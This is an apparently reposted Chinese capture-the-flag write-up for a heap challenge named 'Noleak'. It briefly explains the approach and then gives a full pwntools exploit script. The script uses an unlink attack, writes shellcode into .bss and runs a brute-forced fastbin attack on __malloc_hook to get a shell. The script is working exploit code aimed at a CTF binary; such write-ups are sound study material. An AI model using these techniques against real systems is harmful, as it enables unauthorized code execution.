Noleak

Posted Nullan

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Noleak相关的知识,希望对你有一定的参考价值。

这道题很有意思,是比较常见的堆题,记录一下
这道题没有后门函数,开启NX,所以可以执行shellcode,开启PIE,所以只有低三位十六进制数的地址有效,漏洞点是堆溢出和UAF
思路就是通过unlink改写chunk数组地址为bss段上地址,然后编辑堆就可以在bss上写入shellcode
unsorted bin的fd构造一个malloc_hook,通过堆溢出修改unsort bin的size在fastbin里面,然后free构造fastbin attack将最后一个free的fd指向构造的fastbin。然后就可以对malloc_hook进行修改
exp链接:链接

#coding:utf8  
from pwn import *  
  
context(os='linux',arch='amd64')  
  
elf = ELF('./timu')  
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')  
  
#bss段,我们待会把shellcode写入这里  
bss_addr = 0x601020  
#我们的目的是把__malloc_hook指向bss_addr,这样,当我们malloc时,我们在bss里放的代码被调用  
#从而getshell  
malloc_hook = libc.symbols['__malloc_hook']  
#我们的攻击目标,我们利用fastbin,想办法让堆分配到malloc_hook地址-0x23处  
#由于不能泄露地址,但是由于PIE的缺陷,符号的地址的后3个十六进制数字和它在  
#二进制文件中的地址的后三个十六进制数是一样的。然后,我们就直接设定倒数第  
#个十六进制数字为2,这样,我们不断爆破,总有一次,它的后4个十六进制数字为  
#这个  
attack_addr_suffix = 4096 * 2 + ((malloc_hook & 0xFFF) - 0x23)  
# 0x2000+mallochook-0x23的低三位  
#shellcode  
shellcode = asm(shellcraft.sh())  
  
def create(sh,size,content):  
   sh.sendlineafter('Your choice :','1')  
   sh.sendlineafter('Size: ',str(size))  
   sh.sendafter('Data: ',content)  
  
def edit(sh,index,size,content):  
   sh.sendlineafter('Your choice :','3')  
   sh.sendlineafter('Index: ',str(index))  
   sh.sendlineafter('Size: ',str(size))  
   sh.sendafter('Data: ',content)  
  
def delete(sh,index):  
   sh.sendlineafter('Your choice :','2')  
   sh.sendlineafter('Index: ',str(index))  
  
  
def crack(sh):  
   #chunk0  
   create(sh,0x100,'a'*0x100)  
   #chunk1  
   create(sh,0x100,'b'*0x100)  
   #我们首先需要来完成任意写的目的,这个地址处是一个数组,用来保存堆指针的。我们需要先控制这里  
   target_addr = 0x601040  
   #构造payload使得chunk0溢出到chunk1,修改chunk1的prev_size和size  
   #假chunk  
   #prev_size size  
   payload = p64(0) + p64(0x101)  
   #fd、bk  
   payload += p64(target_addr-0x18) + p64(target_addr - 0x10)  
   payload += 'a' * (0x100-8*4)  
   #修改chunk3的prev_size和size  
   payload += p64(0x100) + p64(0x110)  
  
   edit(sh,0,len(payload),payload)  
   #发生unlink,chunk0的指针指向了保存堆指针的数组,那么我们就可以修改数组里的指针,让它们指向一些关键地方  
   delete(sh,1)  
   payload = p64(0) * 3  
   payload += p64(bss_addr)  
   #将堆0指针变成bss_addr,这样我们就可以往bss里写shellcode了  
   edit(sh,0,len(payload),payload)  
  
   #chunk2  
   create(sh,0x10,'c'*0x10)  
   #chunk3 这个必须是unsorted bin范围  
   create(sh,0x80,'d'*0x80)  
   #chunk4  
   create(sh,0x65,'e'*0x65)  
   #chunk5  
   create(sh,0x65,'f'*0x65)  
   #free chunk3后,chunk3的fd和bk残留了libc里面的main_area + 0x88指针  
   delete(sh,3)  
  
   #覆盖低2字节,使得chunk3的FD指向了malloc hook-0x23  
   create(sh,0x80,p16(attack_addr_suffix)) #chunk6  
   #修改chunk3的size,目的是让chunk3和chunk5、chunk4的size一样  
   payload = 'c'*0x10  
   payload += p64(0) + p64(0x71)  
   edit(sh,2,len(payload),payload)  
   #释放chunk4、chunk5,这样chunk5、chunk4构成了fastbin单向链表  
   delete(sh,4)  
   delete(sh,5)  
   #我们覆盖chunk5的fd的低1字节,目的是让chunk5的fd指向chunk3,因为我们不确定chunk3的地址,当我们确定它地址的最后一个字节。  
   edit(sh,5,1,p8(0x30))  
  
   #在bss段写入shellcode,顺便把堆指针从数组里清空,这样我们又创建多个堆了,不然超过10个就不允许创建了  
   payload = shellcode.ljust(0x20,'\\x00')  
   payload += p64(0) * 8  
   edit(sh,0,len(payload),payload)  
  
   #chunk7  
   create(sh,0x65,'g'*0x65)  
   #chunk8  
   create(sh,0x65,'h'*0x65)  
  
   payload = 'a'*0x13 + p64(bss_addr)  
   #这个堆的指针指向了__malloc hook,我们修改它的值为bss_addr,这样,当我们再次malloc时,就会调用bss_addr处的shellcode  
   create(sh,0x65,payload) #chunk9  
   #当我们再次malloc时,malloc hook执行的函数被调用,我们getshell  
   sh.sendlineafter('Your choice :','1')  
   sh.sendlineafter('Size: ','1')  
   sh.interactive()  
  
#爆破  
while True:  
#   sh = remote('111.198.29.45',59617)  
   sh = process('./timu')  
   try:  
      print '正在爆破...'  
      crack(sh)  
      break  
   except:  
      sh.close()  

以上是关于Noleak的主要内容,如果未能解决你的问题,请参考以下文章

VSCode自定义代码片段——CSS选择器

谷歌浏览器调试jsp 引入代码片段,如何调试代码片段中的js

片段和活动之间的核心区别是啥?哪些代码可以写成片段?

VSCode自定义代码片段——.vue文件的模板

VSCode自定义代码片段6——CSS选择器

VSCode自定义代码片段——声明函数